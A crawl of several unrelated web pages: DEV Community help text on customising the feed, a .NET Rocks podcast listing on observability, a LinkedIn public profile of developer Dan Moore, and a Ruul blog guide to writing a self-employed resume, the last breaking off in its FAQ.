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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close DEV Help The latest help documentation, tips and tricks from the DEV Community. Help > Customizing Your Feed Customizing Your Feed In this article The "Feed" Tags Follow Tags Hide Tags Users Follow Users Block Users Your Reading List Common Questions What about my post's Google ranking? Tailor your reading experience on DEV to suit your preferences. The "Feed" The home page is tailored to each individual DEV member based on what they're following. Every now and then, the DEV Team may "pin" a post to the homepage if it's an announcement that is relevant to all folks, but these are generally posts from the DEV Team. Your feed is where you'll discover a diverse range of articles published by developers worldwide. You can filter the content displayed on your feed based on the type of articles you want to read. Currently, we offer three feed sort options: Relevant, Latest, and Top. Follow tags and users to customize your feed and discover content tailored to your interests. Utilize Subscription Options: With subscription indicators, you can subscribe to new articles from users or organizations you follow, as well as through any of your existing comment subscriptions. Easily manage your subscriptions and unsubscribe from any article or thread that's becoming too popular. With these features, you'll never miss out on an interesting discussion happening on DEV. Stay informed and engaged with the latest comments and articles tailored to your interests. Tags Follow Tags Tags are unique keywords attached to posts to categorize related articles under specific and defined groups. They cover a wide range of topics and feature thousands of posts, from coding tutorials to career advice, catering to both beginners and experienced developers. Following tags on DEV means subscribing to updates and content related to specific topics of interest. By following a tag, you'll see relevant posts in your feed or notifications, enabling you to stay informed, personalize your experience, and connect with others who share similar interests within the community. Hide Tags Just as you can follow tags, you can also hide them. Articles with hidden tags will no longer appear in your Relevant feed, providing you with a more tailored browsing experience. Hiding tags gives you greater control over your feed. Just follow these steps: Tags Page: Visit the tags page and use the search feature to find and hide specific tags. Dashboard: Navigate to the "Following tags" section on your dashboard. Press the three dots to access the hide option and conceal tags from your feed. You can easily manage your Hidden Tags directly from your dashboard. Access the "Hidden tags" section to view and unhide tags at any time, bringing articles with those tags back to your feed. Users Follow Users In order to stay in touch with people in your feed, you can follow them! Just navigate to the member's page and tap that follow button to get alerts when they post new content and prioritize their content in your feed. Block Users You are always able to block users from your feed and from seeing your content by navigating to the three dots in the top right corner of their page and clicking Block. If this member is posting especially harmful content or is a spam account, feel free to also flag this member for us in the same location. Your Reading List By clicking the Bookmark button on an article, you can collect posts to read later and keep them forever in your dashboard. To access these articles, simply navigate to your profile icon, click on "Reading List," and you'll find all your saved posts there." Common Questions What about my post's Google ranking? You can set the canonical_url of your post before publishing so that Google knows where to send the link juice (that precious, precious link juice). 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://dev.to/dotnet-rocks/the-observability-tipping-point-with-steve-gordon-and-martin-thwaites#main-content | The Observability Tipping Point with Steve Gordon and Martin Thwaites - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Close .NET Rocks! Follow The Observability Tipping Point with Steve Gordon and Martin Thwaites Feb 29 '24 play Has observability hit a tipping point? Carl and Richard chat with Steve Gordon and Martin Thwaites about the various products and technologies today to make observability a vital part of a successful application. Steve talks about telemetry support hitting a tipping point where most vendors have products working with OpenTelemetry. Martin digs into the many places you can send telemetry to increase your understanding of how your applications work on-premises and in the cloud. It's an exciting time to build cloud-native - are you on board? Episode source Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Your browser does not support the audio element. 1x initializing... × 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Forem © 2016 - 2026. We're a place where coders share, stay up-to-date and grow their careers. Log in Create account | 2026-01-13T08:47:54 |
https://www.linkedin.com/in/mooreds/ | Dan Moore - FusionAuth | LinkedIn Skip to main content LinkedIn Top Content People Learning Jobs Games Sign in Join now Dan Moore Sign in to view Dan’s full profile Sign in Welcome back Email or phone Password Show Forgot password? Sign in or By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . New to LinkedIn? Join now or New to LinkedIn? Join now By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . Boulder, Colorado, United States Contact Info Sign in to view Dan’s full profile Sign in Welcome back Email or phone Password Show Forgot password? Sign in or By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . New to LinkedIn? Join now or New to LinkedIn? Join now By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . 2K followers 500+ connections See your mutual connections View mutual connections with Dan Sign in Welcome back Email or phone Password Show Forgot password? Sign in or By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . New to LinkedIn? Join now or New to LinkedIn? Join now By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . Join to view profile Message Sign in to view Dan’s full profile Sign in Welcome back Email or phone Password Show Forgot password? Sign in or By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . New to LinkedIn? Join now or New to LinkedIn? Join now By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . FusionAuth Websites Websites Blog http://www.mooreds.com/weblog/ Other https://ciamweekly.substack.com/ Report this profile Articles by Dan What's new in OAuth 2.1? Apr 27, 2020 What's new in OAuth 2.1? Hey look! OAuth is getting spiffed up a bit. The original OAuth 2. 4 How to let go of potential clients Apr 13, 2020 How to let go of potential clients When pursuing a contracting or consulting opportunity, you need to be persistent, but you also need to know when to let… 5 1 Comment Learn automated testing Apr 8, 2020 Learn automated testing If you want to build good software, learn automated testing. Depending on your platform of choice, you may have good… 3 Read the docs Mar 30, 2020 Read the docs Reading the docs is so important. It is so easy, when you are confronted with a task, to just jump in and start doing. 1 Business Process Crystallization Mar 24, 2020 Business Process Crystallization Software crystallizes business processes. Business processes are ‘how things get done. 2 Founding engineer or Founder/CTO? Mar 19, 2020 Founding engineer or Founder/CTO? I’ve seen a number of great posts about the contrast between VPs of Engineering and CTOs for startups. Here, here and… 3 The Art To And Power Of Saying No Mar 12, 2020 The Art To And Power Of Saying No There’s an art to saying no. And there’s power in doing so. 2 When is a senior engineer not a senior engineer? Mar 3, 2020 When is a senior engineer not a senior engineer? The technology industry has been overloading the term ‘senior engineer’. A senior engineer is not a senior engineer is… There are no adults in the room Feb 28, 2020 There are no adults in the room One of the most shocking things I learned when I started working in a professional capacity is that there are no adults… 4 Avoid working alone Feb 21, 2020 Avoid working alone When you are considering a software developer or other technical job, I suggest that the first job you take be the one… 3 Show more See all articles Activity Follow Sign in to view Dan’s full profile Sign in Welcome back Email or phone Password Show Forgot password? Sign in or By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . New to LinkedIn? Join now or New to LinkedIn? Join now By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . Kilo Code is hiring engineers. Small eng team (15 people), very senior, globally remote, and shipping nonstop. If you care about developer… Kilo Code is hiring engineers. Small eng team (15 people), very senior, globally remote, and shipping nonstop. If you care about developer… Liked by Dan Moore If you love product management but don’t want to be a PM forever, this might be the most interesting job you’ll see this week. We’re hiring… If you love product management but don’t want to be a PM forever, this might be the most interesting job you’ll see this week. We’re hiring… Liked by Dan Moore joe is great at this stuff. *very* good talk. joe is great at this stuff. *very* good talk. Liked by Dan Moore Join now to see all activity Experience & Education *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> FusionAuth *]:mb-0 not-first-middot leading-[1.75]"> ****** ********* **** ******** * ******** ********* *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> ***** ********** *]:mb-0 not-first-middot leading-[1.75]"> ********* *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> ******* ** * *** ********* *]:mb-0 not-first-middot leading-[1.75]"> ***** *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> View Dan’s full experience By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . Sign in Welcome back Email or phone Password Show Forgot password? Sign in or By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . New to LinkedIn? Join now Licenses & Certifications *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> Certified Identity Professional *]:mb-0 not-first-middot leading-[1.75]"> IDPro® *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> Issued May 2022 *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> AWS Certified Solutions Architect *]:mb-0 not-first-middot leading-[1.75]"> Amazon Web Services (AWS) *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> Issued May 2024 Expires May 2027 *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> AWS Certified Solutions Architect - Associate *]:mb-0 not-first-middot leading-[1.75]"> Amazon Web Services *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> Issued Nov 2016 Expires Jun 2024 See credential *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> AWS Certified Big Data - Specialty *]:mb-0 not-first-middot leading-[1.75]"> Amazon Web Services *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> Issued Oct 2017 Expires Oct 2019 Credential ID 9LRN2ZCKCNBQQSCH *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> AWS Certified SysOps Administrator – Associate *]:mb-0 not-first-middot leading-[1.75]"> Amazon Web Services *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> Issued Mar 2017 Expires Mar 2019 Credential ID AWS-ASOA-7772 *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> AWS Certified Developer – Associate *]:mb-0 not-first-middot leading-[1.75]"> Amazon Web Services *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> Issued Mar 2017 Expires Feb 2019 Credential ID AWS-ADEV-9671 Volunteer Experience *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> Member *]:mb-0 not-first-middot leading-[1.75]"> Colorado Food Investments *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> Jun 2013 - Mar 2017 3 years 10 months Environment This is a Slow Money Investment club--an LLC which invests members' capital to regenerate the local food systems. I was a member of the deal flow and governance committees. Helped run meetings and find and review candidates for loans. Helped create club website. *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> Member *]:mb-0 not-first-middot leading-[1.75]"> IOOF - Boulder Lodge *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> Oct 2003 - Present 22 years 4 months Fraternal organization devoted to promoting friendship, love and truth. Fulfilled a variety of roles, including president, treasurer, membership secretary, committee chair, and committee member. *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> Organizer *]:mb-0 not-first-middot leading-[1.75]"> Boulder Ruby Meetup *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> Jan 2019 - Present 7 years 1 month Help organize the Boulder Ruby Meetup: https://www.meetup.com/boulder_ruby_group/ *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> Vice President *]:mb-0 not-first-middot leading-[1.75]"> Mesa Swim Team *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> May 2022 - Present 3 years 9 months Health Served on Mesa Swim team board, a Boulder non-profit summer swim team. Primary duties included updating the website, volunteering at meets, and research as needed. Publications *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> Developing Cross Platform Mobile Applications with Cordova CLI *]:mb-0 not-first-middot leading-[1.75]"> Self published October 4, 2013 *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> This book helps you leverage the full power of Cordova CLI, a command line toolset for managing Cordova applications. Cordova lets you write mobile applications using JavaScript, HTML and CSS. See publication *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> Transforming Data With Pentaho Kettle *]:mb-0 not-first-middot leading-[1.75]"> Boulder Java Users Group Presentation August 13, 2013 *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> Hour long talk at a users group on Pentaho Kettle, an open source ETL tool. See publication *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> Farm Shares 101 *]:mb-0 not-first-middot leading-[1.75]"> Boulder Valley Life Long Learning February 9, 2013 *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> 2 day class on what a CSA/farm share is, how to pick one, and what to do when your farm share arrives. See publication *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> Using Google Earth To Model Sonar Layout *]:mb-0 not-first-middot leading-[1.75]"> Boulder Denver New Tech Meetup Presentation September 15, 2009 *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> Co presenter with Brian Timoney for 5 minutes of talk plus 5 minutes of presentation. Did the demo of underwater navigation using Google Earth. *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> Introduction to GWT *]:mb-0 not-first-middot leading-[1.75]"> Boulder Denver New Tech Meetup Presentation January 8, 2008 *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> 5 minute overview of GWT (the Google Web Toolkit), a java to javascript compiler. Followed by 5 minutes of questions from a 50/50 technical/non technical crowd. See publication *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> Internationalization and Localization in the Real World *]:mb-0 not-first-middot leading-[1.75]"> Boulder Java Users Group Presentation June 9, 2005 *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> Hour long talk at a users group on how to internationalize Java web apps using real world techniques. *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> The Basics of Software Internationalization *]:mb-0 not-first-middot leading-[1.75]"> Ccaps Translation And Localization Newsletter July 1, 2004 *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> Introduction to localization and internationalization of web and client software. See publication *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> J2ME Development *]:mb-0 not-first-middot leading-[1.75]"> Boulder Java Users Group Presentation April 16, 2004 *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> Hour long overview of J2ME. See publication *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> Using JAAS for Authorization and Authentication *]:mb-0 not-first-middot leading-[1.75]"> March 29, 2002 *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> This paper explains how to use the Java Authentication and Authorization API (JAAS). It plugs JAAS into the Struts framework. Though this paper focuses on Struts, and in particular the example application distributed with Struts, the lessons learned should be applicable to any MVC web framework. See publication *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> Technology Blog *]:mb-0 not-first-middot leading-[1.75]"> Self *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> I have been blogging on a wide variety of technical and business topics for over a decade. Average daily traffic for 2017 is 150 visits a day. See publication Join now to see all publications Projects *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> Your Technical Voice *]:mb-0 not-first-middot leading-[1.75]"> May 2024 *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> Your Technical Voice helps technical founders and consultants consistently publish high-quality newsletters--without ghostwriting or SEO fluff. Your own words, refined into a compelling format. *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> CIAM Weekly *]:mb-0 not-first-middot leading-[1.75]"> May 2023 - Present *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> Weekly newsletter on customer identity and access management. *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> Letters to a New Developer *]:mb-0 not-first-middot leading-[1.75]"> Sep 2018 - Sep 2023 *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> What I wish I had known when I was starting out as a developer. Letters to a past self, including from guests. See project *]:mb-0 text-[18px] text-color-text leading-regular group-hover:underline font-semibold"> Go Code Colorado Mentor *]:mb-0 not-first-middot leading-[1.75]"> Apr 2018 *]:mb-0 [&>*]:text-md [&>*]:text-color-text-low-emphasis"> Volunteer mentor at Go Code Colorado competition in 2018 and 2019. See project Recommendations received Karamjeet Khalsa “Dan managed our Technical Team at 8z Real Estate for the two years I worked there from 2011-2013. Dan was a great manager and encouraged inter-team communication, code and process excellence, a "client's first" mentality, and periodic check-ins to keep everyone on track.” Stefan Peterson “As an employee from 2011 - 2014 Dan was centrally involved with 8z's consumer facing websites, back end systems, and overall technology management. He wrote much of the code that sustains our growing business while leading a small team of 2-3 employees (developing the skills of the junior members) and managing numerous vendor relationships. His contributions to company culture were particularly notable, as embodied by the periodic hackfests he initiated that continue to this day. In sum, Dan is a curious and rigorous thinker who is zealous about making things work better. We continue to work with him as a contractor, including occasionally raising a glass at happy hour.” 4 people have recommended Dan Join now to view More activity by Dan I love hearing about new projects. I also love reading about people leaving projects while they still love them. I love hearing about new projects. I also love reading about people leaving projects while they still love them. Shared by Dan Moore Most teams still secure AI agents with a single checkbox: “Added OAuth.” But OAuth only tells you who an agent represents—not what it’s allowed to… Most teams still secure AI agents with a single checkbox: “Added OAuth.” But OAuth only tells you who an agent represents—not what it’s allowed to… Liked by Dan Moore View Dan’s full profile See who you know in common Get introduced Contact Dan directly Join to view full profile Other similar profiles Jeanine Jue Jeanine Jue OakBloomIQ 14K followers San Francisco, CA View Profile Aleksey Klempner Aleksey Klempner With over 20 years of experience in technology management and business leadership, I have a proven track record of driving strategic initiatives and fostering innovation across various domains. My career has spanned hands-on development, business unit leadership, and executive roles, including VP and C-level positions, as well as individual contributor positions on Software Architecture, Platform development, or Solution development, where I have successfully led transformative change through innovative technology solutions.<br><br>Setting strategy is one of my core strengths, allowing me to align technical strategies with business objectives and develop products that deliver high-quality results and drive business growth. I excel at cultivating a culture of continuous improvement and operational excellence, empowering teams to achieve their full potential.<br><br>Beyond my technology and business oriented roles, I have non-profit, foundational experience focusing on reforestation and conservation, reflecting my commitment to impact in these areas. I am passionate about leveraging technology to create meaningful change and am seeking a role where I can spearhead strategic initiatives that align with this vision.<br><br>I am eager to connect with companies that share a commitment to innovation and sustainability, and I look forward to the opportunity to collaborate on shaping a future defined by impactful technology leadership and environmental stewardship. 9K followers Los Angeles, CA View Profile Mizanur Rahman Mizanur Rahman CHEQ Mobile Solutions 14K followers Brooklyn, NY View Profile Chris LaFay Chris LaFay Classic City Consulting 12K followers Atlanta Metropolitan Area View Profile Anvesh Reddy Teegala Anvesh Reddy Teegala Costco Wholesale 9K followers Maryland Heights, MO View Profile Thomas Jung Thomas Jung SAP 34K followers Jasper, IN View Profile Murat Yener Murat Yener Instacart 6K followers United States View Profile Leandro Margulis Leandro Margulis LJM Ventures 31K followers San Francisco, CA View Profile Oliver Tseng Oliver Tseng Unique Bible App 20K followers Alpharetta, GA View Profile Owen Liversidge Owen Liversidge Optimizely 11K followers Weymouth View Profile Angie Jones Angie Jones Block 45K followers New Orleans, LA View Profile Brad Lucas Brad Lucas Beacon Hill Technology Solutions 31K followers New York City Metropolitan Area View Profile Christopher Moore Christopher Moore NuWave Commerce 7K followers Gilbert, AZ View Profile Robert Baindourov Robert Baindourov WinWinHost 7K followers Los Angeles, CA View Profile Jacob Baloul Jacob Baloul D-E-V.com 8K followers Miami-Fort Lauderdale Area View Profile Antonio V. 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View top content Others named Dan Moore in United States Dan Moore San Francisco, CA Dan Moore Austin, TX Dan Moore Greater Seattle Area Dan Moore Atlanta, GA Dan Moore Scottsdale, AZ 2328 others named Dan Moore in United States are on LinkedIn See others named Dan Moore Add new skills with these courses 2h 1m AWS API Gateway with HTTP, Lambda, DynamoDB, and iOS 6h 24m Complete Guide to Serverless Web App Development on AWS 4h Complete Guide to Analytics Engineering See all courses LinkedIn © 2026 About Accessibility User Agreement Privacy Policy Cookie Policy Copyright Policy Brand Policy Guest Controls Community Guidelines العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional)) Language Agree & Join LinkedIn By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close DEV Help The latest help documentation, tips and tricks from the DEV Community. Help > Customizing Your Feed Customizing Your Feed In this article The "Feed" Tags Follow Tags Hide Tags Users Follow Users Block Users Your Reading List Common Questions What about my post's Google ranking? Tailor your reading experience on DEV to suit your preferences. The "Feed" The home page is tailored to each individual DEV member based on what they're following. Every now and then, the DEV Team may "pin" a post to the homepage if it's an announcement that is relevant to all folks, but these are generally posts from the DEV Team. Your feed is where you'll discover a diverse range of articles published by developers worldwide. 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To access these articles, simply navigate to your profile icon, click on "Reading List," and you'll find all your saved posts there." Common Questions What about my post's Google ranking? You can set the canonical_url of your post before publishing so that Google knows where to send the link juice (that precious, precious link juice). 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://ruul.io/blog/how-to-create-a-self-employed-resume | How to Create a Winning Self-Employed Resume: A Complete Guide Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up grow How to Create a Self-Employed Resume Learn how to craft a professional self-employed resume that showcases your skills, projects, and testimonials. Highlight your unique strengths, manage payments easily, and stand out to potential clients with tips and tools like Ruul. Mert Bulut 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Creating an attractive resume is the most important thing to show your skills, your vision, experience and accomplishments. Unlike traditional resumes, a self-employed resume focuses on highlighting your entrepreneurial projects, independent contracts, and your similar backgrounds. Also, it highlights your unique strengths. It shows diverse skills since freelancers often work in different industries or areas, proving they can adapt. Instead of listing jobs, it focuses on completed projects or contracts. Managing clients and delivering good results are key points, as these show strong client relations. It also highlights an entrepreneurial mindset, showing not just skills but also the ability to run a business successfully. Important Sections For Creating an Attractive Self-Employed Resume A well-structured resume captures attention and communicates your qualifications effectively. Here’s what you should include while creating a self employed resume: 1. Professional Summary Start with an attractive and professional statement summarizing your expertise, years of experience, and the value you bring. Here is an example: “Experienced freelance graphic designer with 8+ years of expertise in branding, illustration, and digital marketing. Successfully delivered 100+ projects to global clients with a focus on innovative design and timely execution.” 2. Key Skills List relevant skills that showcase your capabilities, such as: Technical skills (e.g., proficiency in software or tools) Soft skills (e.g., communication, project management) Industry-specific expertise Marketing Skills Language Skills, etc 3. Work Experience Instead of job titles, use project descriptions or roles you’ve taken as a freelancer. For instance: Designed social media campaigns that increased engagement by 40% for a tech startup. Provided copywriting services for 50+ marketing agencies, generating $200K+ in client revenue. 4. Portfolio or Projects Include a link to your portfolio or highlight key projects directly on your resume. Showcase achievements that demonstrate results and creativity. A portfolio will give an idea to your client to set their expectations clearly. 5. Education and Certifications List degrees, certifications, or relevant training. For example, certifications in SEO, digital marketing, or software like Adobe Photoshop can add credibility and build trust. 6. Testimonials or Client Reviews Try to include quotes from satisfied clients or links to detailed reviews. Testimonials build trust between you and your clients. They know you have a good background and trustable sources. Formatting Tips for a Self-Employed Resume Your resume should be professional, clear, and easy to read. Keep it short, ideally one page, unless you have a lot of experience. Use action words like "achieved," "created," "managed," or "designed" to start your points. Customize your resume for each job or project to show the most relevant skills and experience. Make sure to include your contact details, like email, LinkedIn profile, and a link to your portfolio. How to Address Self-Employment on a Resume Self-employment often raises questions about gaps in traditional work history. Be transparent and professional when addressing it: Use a Business Name: If you operate under a registered business or brand name, include it in your experience. Highlight Transferable Skills: Emphasize how your self-employment has improved skills like problem-solving, time management, and client relations. Quantify Achievements: Use numbers to demonstrate the impact of your work, such as increased revenue, improved performance metrics, or client retention rates. Clients prioritize some factors while choosing freelancers to work with. All of the factors above matter while creating a self employed resume but also you need to be clear about what you provide at all stages. That includes easy and multiple payment options. You can also point in your portfolio or in your working methods section the payment methods you provide such as, Bank Transfers: Widely accepted but may involve fees for international transactions. Online Payment Platforms: Services like PayPal, Payoneer, and Stripe are convenient for global clients. Cryptocurrency: For tech-savvy clients, Ruul enables freelancers to handle cryptocurrency payout options. Early Payment Solutions: Freelancers can access platforms like Ruul for early payment solutions, ensuring faster access to funds without waiting for extended payment terms. Credit Card: Ruul also allows freelancers to accept payment with credit cards. Finalizing Your Self-Employed Resume Before sending out your resume, ensure it is polished and error-free: Proofread Thoroughly: Eliminate typos or grammatical mistakes. Seek Feedback: Ask a trusted friend or mentor to review your resume. Test Links: Ensure that links to your portfolio, testimonials, or social profiles work correctly. After you create the perfect resume, managing the client, delivering high quality work and invoicing will be your focus. Platforms like Ruul simplify these tasks for freelancers by offering practical solutions such as invoicing without a company and advanced payment tools. Keep it in mind, Ruul will be your favorite tool while freelancing. Ruul provides freelancers with a great support, from invoicing to payment collection. Whether you're sending an invoice without a company or exploring advanced freelancer payment solutions , Ruul simplifies financial management, allowing you to focus on landing more projects. Your freelance resume serves as your introduction to potential clients. Using reliable tools like Ruul ensures you’re equipped for success in every aspect of freelancing. ABOUT THE AUTHOR Mert Bulut Mert Bulut is an innate entrepreneur, who after completing his education in Management Engineering (BSc) and Programming (MSc), co-founded Ruul at the age of 27. His achievements in entrepreneurship were recognized by Fortune magazine, which named him as one of their 40 under 40 in 2022. More Becoming a Freelance Digital Marketer from Scratch: A Beginner’s Guide Have you ever dreamed of becoming a freelance digital marketer? This article will offer you insight into starting the journey from scratch. Read more 6 steps to create your freelance designer portfolio Craft your standout freelance designer portfolio in just 6 steps. Showcase your talent, land clients, thrive! Read more Rooted with Ruul: meet solo tech talent, Ender Get insights from Ender, a freelance consultant, and engineer. Read our interview and get great tips for fresh freelancers starting out. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is 